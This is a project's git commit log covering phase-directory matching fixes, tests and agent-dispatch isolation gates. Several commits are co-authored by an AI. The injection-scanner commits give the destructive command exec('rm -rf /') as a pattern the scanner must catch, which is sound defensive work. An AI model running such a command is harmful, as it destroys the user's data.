* refactor(#2528): collapse the duplicated extractCanonicalPlanId

Review MAJOR. The function existed as two independent, byte-identical
copies — src/core-utils.cts and src/phase.cts — and this PR had to patch
BOTH with the same single-digit-slug rewind rule. That is the generative
fix divergence CLAUDE.md names, and only the core-utils copy was under
test, so a future one-sided patch would have silently split plan-id
canonicalization between the plan listing and everything else.

Removed rather than parity-tested: core-utils was already the leaf owner
and already exported it, and phase.cts already imported that module, so
there is no second surface left for a parity test to police.

* test(#2528): pin matchPhaseDirs at the digit-width boundaries

Review MAJOR. The bare-integer fallback's correctness rests entirely on
capturing each directory's whole leading digit run before the zero-strip
compare; a regex that stopped short would turn every query into a prefix
match, and "1" would claim 10, 100, and 12 alike. The existing coverage
was example-based and never touched that boundary.

Adds the explicit 9/10 and 1/10/100 cases — including the forms where
only the wider directories exist, so an exact-width neighbour cannot
satisfy the assertion — plus a fast-check property over arbitrary
distinct leading runs. The property is stated as an invariant on the
result (every returned directory's leading run IS the query) rather than
an expected list, so it covers primary and fallback matches alike and
cannot be satisfied by reimplementing the selection in the test.

Both fail when the fallback regex is degraded to a prefix match.

* fix(#2528): route the remaining eight consumers through matchPhaseDirs

phaseTokenMatches had eight consumers left that each rebuilt the directory
selection around it by hand: phases-list, next-decimal, phase-remove, the
W021 milestone-consistency check, schema-drift, the init-manager overview,
milestone-complete's disk check, and roadmap analyze. Every one of them
reproduced the reported symptom in full after the tokenizer was fixed.

None of them derives a displayed phase number from the matched directory,
so none needs phaseNumberForMatch; the change at each site is the
selection and nothing else. matchPhaseDirs filters without reordering, so
matches[0] reproduces the prior .find() choice wherever the old code
resolved at all.

phaseTokenMatches now has no call sites outside phase-id.cts. It stays
exported as the primitive matchPhaseDirs is built from and as a pinned
canonical surface, but no consumer reaches past the owner to it.

* test(#2528): extend the parity gate to the migrated consumers

Each of the eight is observed through the surface a user sees, not
through the matcher, with a no-directory control so the assertions cannot
be satisfied by a consumer that resolves unconditionally. init-manager
and roadmap-analyze are additionally asserted to agree with each other.

* refactor(#2528): own the case-flexible phase grammar and the leading-digit-run fragment

validate.cts derived its case-flexible regex sources by running
`replaceAll('A-Z', 'A-Za-z')` over two constants exported by phase-id.cts.
That passes lint-phase-id-drift.cjs — there is no literal copy of the
grammar — but it depends on the owner rendering that exact substring. The
day phase-id.cts expresses the same class any other way the replaceAll
silently no-ops and validate.cts narrows to uppercase-only. The failure
mode is a NON-match, so nothing throws and no uppercase-only fixture
notices. Both variants are now derived once, beside the sources they
widen, and imported.

Also names the leading digit run the bare-integer fallback selects on.
It was spelled `/^(\d+)(?:-|$)/` where the fallback filters and `/^\d+/`
where phaseNumberForMatch reads the number back off the winner; selecting
on one run and displaying another would resolve a directory and then label
it with a number that never matched it.

* fix(#2528): refuse to remove a phase when two directories claim its number

cmdPhaseRemove was the only migrated site taking matches[0] with no
multi-match guard. Every sibling resolution path returns ambiguous_matches
and refuses to choose; this one is the DESTRUCTIVE path, so choosing
silently is strictly worse than anywhere else. With 05-80-20-a and
05-90-till-late on disk, `phase remove 5 --force` deleted one of them and
renumbered every phase after it — where the base resolved nothing, deleted
nothing, and the corpus in tests/phase-resolution-parity.test.cjs already
declared that exact input ambiguous.

The refusal is emitted before any file is touched and carries both
candidates. CONSUMER_SCENARIOS could not express the case — every row is
binary, resolving to one directory or to none — so the gate gains a
dedicated ambiguous test. It asserts on the filesystem, not only on the
reported directory_deleted: a null printed after an rmSync would satisfy
every other check.

* fix(#2528): pair digit-leading phase directories with their roadmap phase in validate health

W006/W007 are the ninth site of this bug class and the one a
`phaseTokenMatches` grep could never surface: they resolve roadmap↔disk by
intersecting TOKEN SETS, which is a dir→token labelling rather than the
query→dir selection matchPhaseDirs owns. On the canonical fixture the
label is wrong in both directions at once, so `validate health` reported
"Phase 5 in ROADMAP.md but no directory on disk" AND "Phase 05-80-20
exists on disk but not in ROADMAP.md" for the same directory.

collectDiskPhases now keeps the directory names behind each token, so
W006 can ask the canonical matcher whether a roadmap phase resolves to a
real directory, and W007 — which iterates directories and therefore has no
query to resolve — gets the inverse mapping it never had: a directory is
claimed when some roadmap phase resolves to it.

Both checks are additive: the token intersection still decides every shape
it already decided, and the resolution can only REMOVE a warning. The
regression test carries controls in the other direction — a roadmap phase
with no directory must still raise W006, an unclaimed directory must still
raise W007 — so it cannot be satisfied by a check that stopped reporting.

* docs(#2528): state and pin the directory-side scope of the bare-integer fallback

The matchPhaseDirs docblock claimed deep-decomposition lookups were
untouched. That is true of the QUERY side only — no non-bare query enters
the fallback — but the DIRECTORY side is what changed classification: a
bare `5` now reaches a lone `05-01-auth` and resolves it (phase_number
"05", phase_name "01-auth") where the base found nothing.

The widening is irreducible from directory names alone. `05-01-auth`
(sub-phase 5.1) and `30-12-factor-refactor` (phase 30 named "12-Factor
Refactor") are the same `NN-NN-<slug>` shape, and the discriminator that
would separate them — "is the second segment a valid decimal sub-phase" —
accepts `5.1` and `30.12` equally. Any rule strong enough to exclude the
first excludes the second, which is the defect #2528 exists to fix. So the
tie is broken in favour of resolving, the docblock now says so, and the
consequence is bounded where it matters: two such directories are two
matches, and every caller (including phase remove) refuses to choose.

Pins both directions, since nothing observed the directory side before.

* fix(#2528): count surviving phases by identity in phase remove's STATE resync

#2640 landed on `next` while this branch was open. Its STATE.md phase-count
resync re-derives "which directory was removed" from the query with
`phaseTokenMatches`, which is the tenth site of this issue's defect: the
bare-integer fallback resolves `05-80-20-cleanup` for query `5`, but the
token predicate does not, so the just-deleted directory is counted as still
present and the written `Total Phases` is one too high.

`targetDir` already IS the directory that was removed, and the block is gated
on it being non-null, so identity answers the question exactly — which is also
what the comment above the filter already claimed it did. This keeps
`phaseTokenMatches` out of `phase.cts` rather than re-importing it to satisfy
one call site: the module's public surface should not grow for a question that
does not need re-derivation.

Pinned in the parity gate with a control on a directory the tokenizer reads
correctly, so the assertion is about the digit-leading shape and not about the
counting rule changing for everything.

* fix(#2528): let the resolution layer own the digit-leading slug family alone

The tokenizer rewind this fix carried — pop the last absorbed continuation when
the segment that stopped the scan is a bare single digit — reads
"10-24-7-autonomy" (phase 10 named "24/7 Autonomy") correctly and silently
re-reads "10-24-7-zip" (sub-phase 10.24 named "7-Zip Integration") from "10-24"
to "10". The two names are string-identical in shape, so no local signal
separates them; the rule traded the reported ambiguity for the symmetric one a
level down, on a 15-caller chokepoint whose output also feeds query-less
derivations (STATE.md phase counts, W007, the #2562 key surface). A well-formed
sub-phase directory became unresolvable by its own id — the very symptom #2528
was filed about.

It also bought nothing. The bare-integer fallback in matchPhaseDirs already
resolves "10-24-7-autonomy" for query "10" whatever the token is: no primary
match, bare query, leading digit run "10". The reported case was covered twice,
by two rules, and the two disagreed about the case nobody reported.

So the rewind is removed rather than narrowed, in the tokenizer and in the five
surfaces kept in lockstep with it (BRACKET_PHASE_TOKEN_SOURCE,
PHASE_TOKEN_FROM_DIR_RE, canonicalPlanStem's pair grammar and its collision
branch, roadmap-parser's numericRe, extractCanonicalPlanId), together with the
SINGLE_DIGIT_RUN_SEGMENT_SOURCE owner constant they shared. Disambiguation now
lives only where a QUERY exists to disambiguate against, which is the same
bounded mechanism the "05-80-20-cleanup" shape already used.

Measured, not argued: over 29800 generated directory names, extractPhaseToken is
byte-identical to `next` on every input except the lowercase-continuation class
("01-20a", "05-80-20-25abc") — a rule about the segment itself, not a guess about
its neighbour.

Both readings now stay reachable by their own ids:
  matchPhaseDirs(['10-24-7-autonomy'], '10')    -> the dir   (fallback)
  matchPhaseDirs(['10-24-7-zip'],      '10')    -> the dir   (fallback)
  matchPhaseDirs(['10-24-7-zip'],      '10-24') -> the dir   (primary)

* test(#2528): pin the one-continuation boundary the rewind had no coverage for

The regressing shape was invisible to the suite by construction, not by luck:
the deep-rewind property built its cases from `continuationArb` with
`minLength: 2`, so it never exercised the single-continuation case — exactly one
genuine sub-phase level before a digit-leading slug — and every hand-written
fixture used the ambiguous shape only where "phase-plus-slug" was the intended
reading.

`continuationArb` is now `minLength: 1` and the property states the invariant
instead of the old rule: for any prefix, phase, 1-5 continuations and any
one-digit terminator, the token equals the FULL continuation run on both the
imperative and the regex surface, and `matchPhaseDirs([dir], token)` returns that
dir. That third assertion is the one that catches the class on its own — the old
behaviour made a well-formed directory unresolvable by its own id, which is a
property, not a fixture.

Around it: "10-24-7-zip" and "10-24-3d-printer" now sit beside
"10-24-7-autonomy" everywhere the family is pinned, so the two readings can never
diverge again; the 24/7 metamorphic property asserts the RESOLUTION result rather
than the token (the token is precisely the part no surface may decide); the
end-to-end parity corpus gains "a sub-phase with a digit-leading slug resolves by
its full id" across all four resolution paths; and the milestone-scoping residual
is pinned in three directions rather than left to prose.

Mutation: re-inserting the rewind and rebuilding turns 9 tests red, the
`minLength: 1` property first, and nothing else. Build success checked separately
(build:lib reports 0 `error TS`), so the mutation reached the artifact under test.

* test(#2528): pin the #2946 guard against digit-leading phase directories

The #2946 fix makes the milestone-complete unstarted-phase guard run
unconditionally, so whether it fires now rides entirely on the
directory-resolution owner this PR replaces. Two cases, both with STATE.md
carrying no `milestone:` field so the #2946 path is the one exercised:

  - ROADMAP Phase 5, disk `05-80-20-cleanup` → guard must stay silent.
    RED on next (fail-closed: the guard blocks a legitimate one-way-door
    operation because phaseTokenMatches resolves neither 05 nor 80 for
    that directory).
  - ROADMAP Phase 80, same directory → guard must still fire. Green on
    both sides; it pins the fail-open direction against a future widening
    of the matcher.

* fix(#3175): stop the injection scanner reading RegExp.exec as code execution

The apostrophe fix in 27aa40f6 replaced ["\x27] with a real ["'] class.
The old class never contained an apostrophe at all (POSIX bracket
expressions do not honour backslash escapes, so it was the set ", \, x,
2, 7), so only exec(" matched. Single-quoted method calls now match for
the first time, and RegExp.prototype.exec takes a subject string, not
code: any PR touching a file that tests a regex goes red. On next, six
files match the scanner's own pattern across 16 method calls.

A plain [^[:alnum:]] boundary cannot separate the two forms because . is
not alnum, so exec gets [^[:alnum:].] and the command-execution vector
moves to a dedicated member-call pattern. Bare exec('rm -rf /'),
cp.exec(...) and child_process.exec(...) all still fire.

Mutation: reverting the boundary reds 1 test and only it; removing the
member-call pattern reds the 2 non-weakening tests and only them.

Co-Authored-By: Claude <noreply@anthropic.com>

* fix(#2528): keep exec( detection receiver-blind, allowlist the two grammar suites

The left boundary [^[:alnum:].] added in 58a7b560 excluded a preceding dot,
which dropped every member-position .exec('…') from the scanner. The follow-up
receiver pattern only restored three literal spellings (child_process,
childProcess, cp), so require('child_process').exec('…') — the most common Node
spelling of the vector this pattern exists to catch — became invisible, along
with any opaque receiver (conn.exec, shelljs.exec).

Revert the pattern to its receiver-blind form and handle the RegExp.prototype
.exec false positive where the script already handles this class: per-file
ALLOWLIST entries for the two phase-token grammar suites. Mutation-checked —
removing the two entries reds exactly those two files and nothing else.

The four assertions written around the old patterns are replaced by a
table-driven set covering all six spellings, including the three the narrowed
pattern silently lost.

Co-Authored-By: Claude <noreply@anthropic.com>

* docs(#2528): pin the three undeclared grammar edges, correct the ambiguity claim

Review round 10 asked for declaration, not behavior change, on four items. All
four have zero production consumers or preserve their caller's prior rule, so
each is pinned as a test or corrected in prose rather than reverted.

- BRACKET_PHASE_TOKEN_SOURCE: the (?=-|$) terminator is what keeps the bracket
  read path in step with the other surfaces, and it costs the display shapes
  (`05.03: Title`, `12A: X`, `05.03]` no longer tokenize). Pinned so widening
  the terminator class is a deliberate act rather than a lookahead deletion.
- canonicalPlanStem: uppercase plan suffixes still strip, lowercase and dotted
  sub-plans now fall through. Dead export; pinned as a decision on record.
- getMilestonePhaseFilter: `12A-01-foo` now yields `12A-01`, matching what
  `12-01-foo` has always yielded. The letter suffix was the only reason a
  sub-phase directory folded into its parent phase's milestone window; the two
  shapes now agree. Not named in the review — found auditing the same commit.
- matchPhaseDirs docblock claimed every caller refuses on multi-match. Four do;
  five take matches[0]. Replaced the claim with the actual two-tier policy and
  the honest caveat that the bare fallback makes multi-match newly reachable
  for queries that previously found nothing.

Co-Authored-By: Claude <noreply@anthropic.com>

---------

Co-authored-by: Claude Fable 5 <noreply@anthropic.com>
Co-authored-by: Tom Boucher <trekkie@nomorestars.com>
2026-08-12 20:45:04 -04:00
0xdhx
c516c39b33 fix(#3203): stop npm-global installs validating bundled agents against themselves (#3229)
* fix(#3203): stop npm-global installs validating bundled agents against themselves

getAgentsDir's claude branch derived the agents directory from __dirname,
which is correct for repo runs and runtime-config-dir installs (where
<root>/../agents IS the user's agents dir) but on an npm-global install
resolves to the package's own bundled agents/, so checkAgentsInstalled
validated the package against itself and agents_installed could never be
false. The new-project and new-milestone halt/warn gates were silently
dead for npm-global users.

Keep the install-relative path for the shapes where it is correct, but
when it lies inside a node_modules tree — the provably self-validating
case — resolve getGlobalConfigDir('claude')/agents like every other
runtime, honouring CLAUDE_CONFIG_DIR. GSD_AGENTS_DIR stays priority 1.
Repair the doc comment that asserted the __dirname form was correct for
both install shapes.

Regression test mirrors the published npm-global layout (package under
node_modules with a complete bundled agents/) and pins the resolved
directory plus the issue's negative control (one agent missing from the
config dir → agents_installed:false). Verified red against pre-fix code,
green post-fix; the repo-layout W010 health test stays green.

* chore(#3203): set changeset fragment pr to 3229

* docs(#3203): describe the node_modules guard as lexical, in CONTEXT.md and at the call site

The Agent Install Check Module glossary entry asserted that Claude resolves the
agents directory `__dirname`-relative unconditionally. That is the premise this
PR falsified: on an npm-global install the install-relative path resolves to the
package's own bundled `agents/`, so the check validated the package against
itself and `agents_installed` could never be false.

The inline doc comment above `getAgentsDir` was repaired with the fix; this
external predicate was left behind and has been false since. CONTRIBUTING.md's
`Fixed`-fragment docs exemption names this case explicitly — "Edit the docs
anyway if a fix corrects something the docs got wrong."

Both surfaces now describe the guard as what it is: an exact, case-sensitive
path-segment test that TARGETS those layouts rather than detecting them, so
neither claims more certainty than the predicate has. The call-site comment
carried the same conflation the glossary did. A path merely carrying a directory
of that name resolves the same way — the edge already disclosed on this PR — and
a non-empty GSD_AGENTS_DIR overrides it.

Comment-only in `src/`; no behaviour change.

`CONFIG.LOCATION.SEAM.two-families` needs no change: `GSD_AGENTS_DIR ->
getAgentsDir priority 1` is still accurate.

---------

Co-authored-by: Tom Boucher <trekkie@nomorestars.com>
2026-08-12 20:45:00 -04:00
sim
c6e49a5729 chore(#3331): fix stale CONTEXT.md predicates left by the no-elapsed-assertion promotion
Standards-axis code review caught 3 stale predicates (CONTEXT.md:470,
536, 541) still describing local/no-elapsed-assertion as warn and
citing the superseded epic #1885 (subsumed into #3053 and closed
stale). Regenerated the derived CONTEXT-INDEX.json snapshots.
2026-08-12 16:53:05 -04:00
Behruz Nassre Esfahani
2076d450d7 fix(#2652): gate quick/diagnose dispatch on dispatch.isolation, not the runtime name (#2728)
* fix(#2652): gate quick/diagnose dispatch on dispatch.isolation, not runtime name

quick.md and diagnose-issues.md kept the pre-#2584 `RUNTIME != "claude"`
worktree gate, so every non-Claude runtime failed closed regardless of the
capability it negotiated — including Codex, which declares
orchestrator-worktree. Route both through the negotiated dispatch.isolation
seam via a new shared reference, and migrate the two execute-phase reference
fragments that carried the same runtime-name gate.

- new gsd-core/references/dispatch-isolation-gate.md: canonical ISOLATION
  resolution, harness-flag resolution, single-agent degrade rule
- quick.md / diagnose-issues.md read the gate; dispatch uses the {harnessFlag}
  placeholder rather than a hardcoded isolation="worktree"
- execute-phase-wave-guard.md / execute-phase-between-wave-reset.md: migrate
  [ "$RUNTIME" = "claude" ] -> [ "$ISOLATION" = "harness-worktree" ]
- every degrade site now clears BOTH USE_WORKTREES and ISOLATION; clearing one
  dispatched an isolated agent with no base guard and no manifest
- parity guard in host-integration.test.cjs scans workflows AND references and
  matches six reintroduction shapes
- migrate four tests that pinned the pre-#2584 runtime-name contract

Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>

* fix(#2652): use the /gsd:<cmd> namespace in the isolation degrade messages

The degrade warnings cited /gsd-execute-phase, the retired hyphen form that
slash-command-namespace.test.cjs rejects in Claude-facing source. Same length,
so the quick.md size budget is unaffected.

Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>

* chore(#2652): add changeset for PR #2728

Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>

* fix(#2652): normalize dispatch-site paths to forward slashes for Windows

path.relative() returns backslash-separated paths on Windows, so the
#2652 dispatch-site parity test compared "gsd-core\workflows\quick.md"
against the hardcoded forward-slash literal "gsd-core/workflows/quick.md"
and failed on every windows-latest CI lane. Normalize with
.replace(/\\/g, '/'), matching the existing convention used elsewhere in
this suite (e.g. tests/branch-no-track-guard.test.cjs:37).

* test(#2652): restore the size-growth acknowledgment

The rebase dropped tests/emitted-drift-ack.json. #2757/#2758 fixed the
ATTRIBUTION axis, but the SIZE-GROWTH axis is independent: diagnose-issues.md
(+2086) and quick.md (+230) still need an ack naming them and saying why.

Verified: 65/66 without it (both files named), 66/66 with it.

Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>

* fix(#2652): convert execute-plan.md Pattern A onto the dispatch-isolation gate

Pattern A hardcoded `isolation="worktree"` — Claude Code's own literal —
gated only on `workflow.use_worktrees`, with no capability negotiation at
all. It is the same defect #2652 fixes at the other four sites, just a
different shape: the file contains no RUNTIME variable, so the new detector
correctly does not flag it.

Concrete break: a Codex user who follows this PR's own newly-documented
pattern and sets `workflow.use_worktrees: true` to get isolated dispatch via
/gsd:quick then runs a plan through /gsd-execute-plan Pattern A, and hits an
unconverted path — either an Agent() call erroring on an unrecognized
parameter or silent unisolated execution, depending on host tolerance.

Pattern A is a single-agent dispatch site through the host's own subagent
tool, so it takes the same treatment as quick.md and diagnose-issues.md:
resolve ISOLATION/HARNESS_FLAG through the canonical reference, degrade to
sequential on orchestrator-worktree hosts, and substitute the host's declared
{harnessFlag} instead of Claude Code's literal.

while the area was open.

Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>

* docs(#2652): add the INVENTORY row for dispatch-isolation-gate.md, refresh CONTEXT

Two bookkeeping gaps flagged in review:

INVENTORY.md had no row for the new gsd-core/references/dispatch-isolation-gate.md.
INVENTORY-MANIFEST.json was regenerated correctly and its --check only diffs a
live directory scan against the committed manifest, so CI passed regardless —
but gen-inventory-manifest.cjs's own stderr guidance says to add the matching
INVENTORY.md row. This is the repo's named "Inventory Drift" pattern. Placed
with the dispatch/isolation cluster (worktree-branch-check, runtime-aware-dispatch)
rather than alphabetically, matching how that table is grouped.

CONTEXT.md's Host-Integration Interface entry still described dispatch.isolation
as "declared and negotiated but not yet consumed by any scheduler — Phase 1 of
#2584". That was already stale before this PR (execute-phase graduated in Phase 3)
and more so now with three single-agent dispatch sites consuming it.

Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>

* test(#2652): detect reversed-operand runtime gates; add a permutation property

All five reintroduction regexes assumed $RUNTIME on the LEFT of the
comparison, so `[ "claude" != "$RUNTIME" ]` — the same gate written
backwards — evaded every one of them. Verified against the old patterns
before fixing: all four reversed shapes (single bracket, double bracket,
test builtin, JS template) scored EVADED.

Each comparison shape is now generated in both operand orders from a single
template, so a shape cannot be added in one order and forgotten in the other.
The mutation table gains the four reversed cases.

Also adds the fast-check property review suggested in place of the hand-rolled
cases: it generates the cross product of the axes an author actually varies —
bracket form, operator, operand order, quoting, spacing, runtime id — so a
permutation the hand-written patterns miss surfaces here rather than in
production. The 11 explicit cases stay as named regression anchors.

execute-plan.md joins the scan's required-identities list now that it is a
converted dispatch site.

Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>

* test(#2652): acknowledge the execute-plan.md size growth

The Pattern A conversion adds 811 bytes to an emitted workflow. Per #2719 the
size axis needs its own acknowledgment, independent of attribution.

Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>

* test(#2652): repin the execute-plan.md PROSE_ALLOWLIST line after the rebase

The #2751 command-position gate pins its prose exemptions by line number.
This branch inserts the dispatch-isolation resolution above the
`validated downstream by gsd-tools uat classify-coverage` sentence, moving
it from execute-plan.md:387 to :397 — which fired the gate twice for one
displacement (an un-allowlisted mention at 397, a stale entry at 387).
The prose itself is unchanged from next; only the pin moves.

Fixes #2652

* fix(#2652): gate the #2649 base-check on ISOLATION in diagnose-issues.md

The rebase onto next merged #2649's pre-dispatch base-check textually, but
its degrade flipped USE_WORKTREES after ISOLATION was already resolved, so
the degrade never reached the dispatch decision. Gate the block on
ISOLATION = "harness-worktree" and degrade ISOLATION itself, the same
pairing quick.md already uses.

Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>

* fix(#2652): key quick.md post-dispatch bookkeeping on ISOLATION, not the Claude literal

Review Blocker: the manifest append (l.822), worktree merge-back (l.825), and
its skip clause (l.839) all conditioned on the literal isolation="worktree" —
Claude Code's own rendering of {harnessFlag}. Cursor renders --worktree, so a
newly-unblocked isolated Cursor run created a worktree whose committed work
was never merged back and never cleaned up, silently. All three now key on
ISOLATION = "harness-worktree" at dispatch.

The existing parity detector cannot catch this class (its ISOLATION_TOKEN
treats the literal as a legitimate marker), so this adds a dedicated
literal-condition detector with a discrimination proof against both pre-fix
sentences, a benign-mention control, and a positive pin on all three
re-keyed conditions. Verified fail-first against the pre-fix quick.md.

Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>

* fix(#2652): scope the use_worktrees=false install stamp to isolation=none runtimes

`_stampNonClaudeRuntimeDefaults` rewrote every non-Claude runtime's
`workflow.use_worktrees` read to `--default false`. That default resolved
before `gsd_run query dispatch-isolation` was ever consulted, so the five
runtimes that declare worktree support — cursor (harness-worktree) and
codex/opencode/kimi/kimi-code (orchestrator-worktree) — got ISOLATION=none
regardless of what they negotiated. The gate this PR migrates dispatch onto
was therefore still deciding isolation by runtime name, one layer down.

The stamp's #1521 premise was that worktree isolation *was* Claude Code's
isolation="worktree" spawn parameter, which no other host honored. #2584
replaced that premise with the negotiated capability. The stamp is now scoped
to runtimes whose negotiated isolation really is `none`, where the default it
writes is the outcome the resolver reaches anyway.

`_negotiatedDispatchIsolation` mirrors routeDispatchIsolation's resolution
against the same registry — closed vocabulary, a harness-worktree host must
declare its flag, an orchestrator-worktree host must carry a descriptor that
resolves — and fails closed to `none` on anything else, so an undeclared or
unknown runtime keeps today's behavior.

Two #1515 tests pinned the superseded premise for codex and are re-pointed at
the new contract rather than deleted: the safety property they protect is now
held by the isolation gate's fail-closed resolution, not by a name-scoped
install-time default. Verified fail-first — all five assertions red against
the pre-fix source, green after.

* test(#2652): acknowledge the emitted ripple and re-point the end-to-end stamp proof

Scoping the use_worktrees stamp changes emitted output, and two gates caught it.

`gsd-core/workflows/execute-phase.md` now differs at emit time for the five
hosts that declare worktree support (cursor harness-worktree; codex, opencode,
kimi, kimi-code orchestrator-worktree) — the source file is byte-identical, only
the stamp is gone. Acknowledged in this PR's fragment.

`tests/install.test.cjs`'s real-install assertion pinned the superseded premise
end-to-end, asserting codex receives `--default false`. Re-pointed rather than
deleted, matching the two unit tests: it now proves codex keeps the unstamped
`true` read. A second arm installs windsurf — which declares isolation `none` —
and asserts the false stamp is still applied there, so the change cannot
silently degrade into "never stamp" without a test noticing.

The ack entry collides with `2658-trae-instruction-file-path.json`, which is
fully spent (merged via #2925, so all 25 of its entries are present at base and
gate nothing) and is pruned for the same reason and by the same rule as the
spent `2649-*` fragment this PR already removed. #2566 prunes the same file for
the same collision on `new-project.md`; a delete/delete merges cleanly either
way, and the base-side cleanup would make both unnecessary.

* fix(#2652): re-record the sentinel when a dispatch site degrades isolation

Review Blocker B1/B2/B3. Every isolation degrade in a dispatch site is decided
in shell, where routeDispatchIsolation cannot see it. That resolver persists
whatever it resolved to the run-scoped sentinel as an unconditional side effect
(#3045), so a degrade that only reassigns $ISOLATION leaves the sentinel
asserting harness-worktree while the dispatch correctly omits the harness flag.
The shipped PreToolUse guard reads the sentinel at the instant of the Agent()
call and denies that mismatch with exit 2 — the work does not run unisolated,
it does not run at all. Latent on this branch and lands on rebase, since
8f75e275 (#3045) is not yet in the merge-base.

Four sites now push the final shell-computed value through the same single
write path with --force-isolation, matching the idiom #3045 established in
executor-isolation-dispatch.md:

  - quick.md, after the #1941 base-check degrade
  - diagnose-issues.md, after the config-gate degrades and after #2649's
  - execute-plan.md Pattern A, before spawning
  - references/dispatch-isolation-gate.md, both degrade paths, plus a new
    "Re-record after every degrade" section — the canonical file taught the
    defect, so fixing only the call sites would leave the source of truth wrong

Tests assert the RECORDED value, not $ISOLATION. Asserting the local variable
is what let this class through: $ISOLATION was already `none` at every site and
the defect was entirely in what reached the sentinel. Each workflow's own
degrade block is executed under a gsd_run stub that captures the write, with a
fail-first proof that the pre-fix shape records nothing (while $ISOLATION reads
`none` in both), plus a coverage guard so a new degrade site cannot skip it.

Also corrects the drift-ack rationale (review Minor 5): @-references are
eagerly inlined, so extracting the gate does not reduce loaded context. The
reason to extract is single-sourcing across five dispatch sites.

Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>

* test(#2652): satisfy the new CRLF-portability and cleanup lint rules in host-integration.test.cjs

next's local/no-crlf-fragile-split and no-raw-rmsync-in-tests rules now
cover the fenced-block regexes, log-line split, and temp-dir removal this
suite added: bash-fence matchers and line counting accept \r\n, and the
raw fs.rmSync becomes helpers.cleanup (Windows-EBUSY retry budget).

Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>

* fix(#2652): restore next's 2658 ack fragment, minus the one colliding key

trek-e (PR #2728, 2026-08-07): the branch deleted
tests/emitted-drift-acks/2658-trae-instruction-file-path.json wholesale
while next had modified it. That was correct against the 08-03 base, where
the fragment was fully spent; it is wrong against next @ 1d208e5a, which
still carries 23 live entries.

next's copy is restored byte-identical except for the single key that
genuinely collides with this PR's own fragment,
gsd-core/workflows/execute-phase.md. Both acks name that path for
different deltas -- 2658's is the trae CLAUDE.md replacement-target
rewrite, ours is the emit-time _stampNonClaudeRuntimeDefaults ripple from
review round 3. Per the ack-lifecycle law (#2789), an entry already at the
base is spent and inert, so this PR's entry is the live one and 2658's is
dropped.

This follows the guidance given on #2566 in the 08-06 round: "Regenerate
rather than delete -- the collision is one entry."

Verified: lint-emitted-drift-ack ok (0 problems, 357 keys, no cross-source
duplicates); emitted-attribution 170/170 with GSD_EMITTED_BASE=upstream/next;
host-integration 222/222; runtime-converters 130/130.

* fix(#2652): bound the degrade-harness spawn and close the round-6 majors

B1 (CI red, ours): tests/host-integration.test.cjs spawned bash with no
timeout, violating local/no-unbounded-spawn. `next` deleted the allowlist
outright (#3148), so the merge-commit run flags it even though this branch
still carries the file's grandfathered entry. Bounded at 15s, with a named
failure on timeout/signal rather than an opaque `exited null`.

M1: add a parity test between `_negotiatedDispatchIsolation` (install time)
and `routeDispatchIsolation` (dispatch time). Both read the same capability
registry and the same `resolveOrchestratorExec`, but duplicate the DECISION
on top of them across two surfaces with no call edge between them, so neither
symbol appears in the other's impact graph and nothing static can catch them
drifting apart. The resolver leg drives the real gsd-tools CLI per registered
runtime, both ways it is really called: with `--cwd-target` (the executor
spawn, which resolves the orchestrator descriptor — the same question install
time asks) and without it (the `Resolve ISOLATION` call every dispatch site
makes first, which does not). The second leg is what catches an orchestrator
host whose descriptor stops resolving: the install would stamp
`use_worktrees=false` while the workflow gate still reported
`orchestrator-worktree`.

M2: add install-level Cursor coverage. A real `--cursor` install, then the
gate blocks that install emitted, run against the gsd-tools that install
emitted, with the runtime declared through `.planning/config.json` — the tier
`resolveRuntime` actually reads — and any ambient GSD_RUNTIME blanked, so the
install has to reach the right resolver on its own. It then performs the
documented `{harnessFlag}` substitution against the `Agent()` call that
install emitted and asserts on the rendered dispatch: exactly one emitted
Agent() call carries the slot, it is the gsd-executor / gsd-debugger dispatch
rather than some other call in the same file, and rendering it yields
`--worktree` with no residual placeholder and no `isolation="worktree"`.
This is artifact-level — it proves the emitted wiring, not a live Cursor
host invocation. Asserting the shell variable alone would have stayed green
if the placeholder were deleted from the emitted dispatch, or drifted onto
the reviewer call beside it.

M3: diagnose-issues.md inlined a reordered copy of the reference this PR
introduces as the single source of truth. It now reads the reference the
same way quick.md and execute-plan.md do; the drift-ack entry is corrected
to describe what the file actually contains, and to name the four files that
reference the gate rather than claiming five.

M4: CONTEXT.md still called `resolveOrchestratorExec` UNCONSUMED in the same
paragraph this PR edits. It has been consumed since #2584 Phase 3 — routed
through `query dispatch-isolation --json` and process-spawned by
executor-isolation-dispatch.md — and #2652 adds a second consumer.

Every new assertion verified fail-first against a real mutation: cursor's
negotiated isolation (breaks the target-bound parity leg), the no-target
orchestrator branch in routeDispatchIsolation (breaks the gate parity leg),
cursor's harnessIsolationFlag (breaks the resolved value), deleting
`{harnessFlag}` from quick.md's emitted Agent() call (breaks the slot), and
moving it onto the code-reviewer dispatch (breaks the wrong-call guard).

Refs #2652

* fix(#2652): serialize unisolated diagnosis, scope the execute-plan gate to dispatching patterns

Round-7 review findings (independent cross-AI pass over the whole PR against
the current base).

BLOCKER — diagnose-issues.md announced sequential mode and then fanned out.
The `orchestrator-worktree` degrade sets ISOLATION=none and prints "debug
agents run sequentially on the main working tree", but the spawn step still
said "All agents spawn in single message (parallel execution)". On Codex,
OpenCode and Kimi that dispatched N unisolated debuggers concurrently against
the primary checkout — the exact outcome the degrade exists to prevent, and
reachable only because this PR removed the FATAL that used to stop those
hosts earlier. Fan-out is now keyed on ISOLATION: parallel only when each
agent has its own worktree, one at a time otherwise.

BLOCKER — execute-plan.md Pattern B could not dispatch at all on Claude or
Cursor. The gate recorded `harness-worktree` to the #3045 sentinel, but only
Pattern A carries `{harnessFlag}`; Pattern B's segment executors carry none,
and `hooks/gsd-agent-isolation-guard.js` blocks precisely that mismatch with
exit 2. Segments are unisolated BY DESIGN — each continues on the working
tree the previous one left behind, so per-agent worktrees would break the
sequence — so Pattern B now records `none` before its first dispatch and
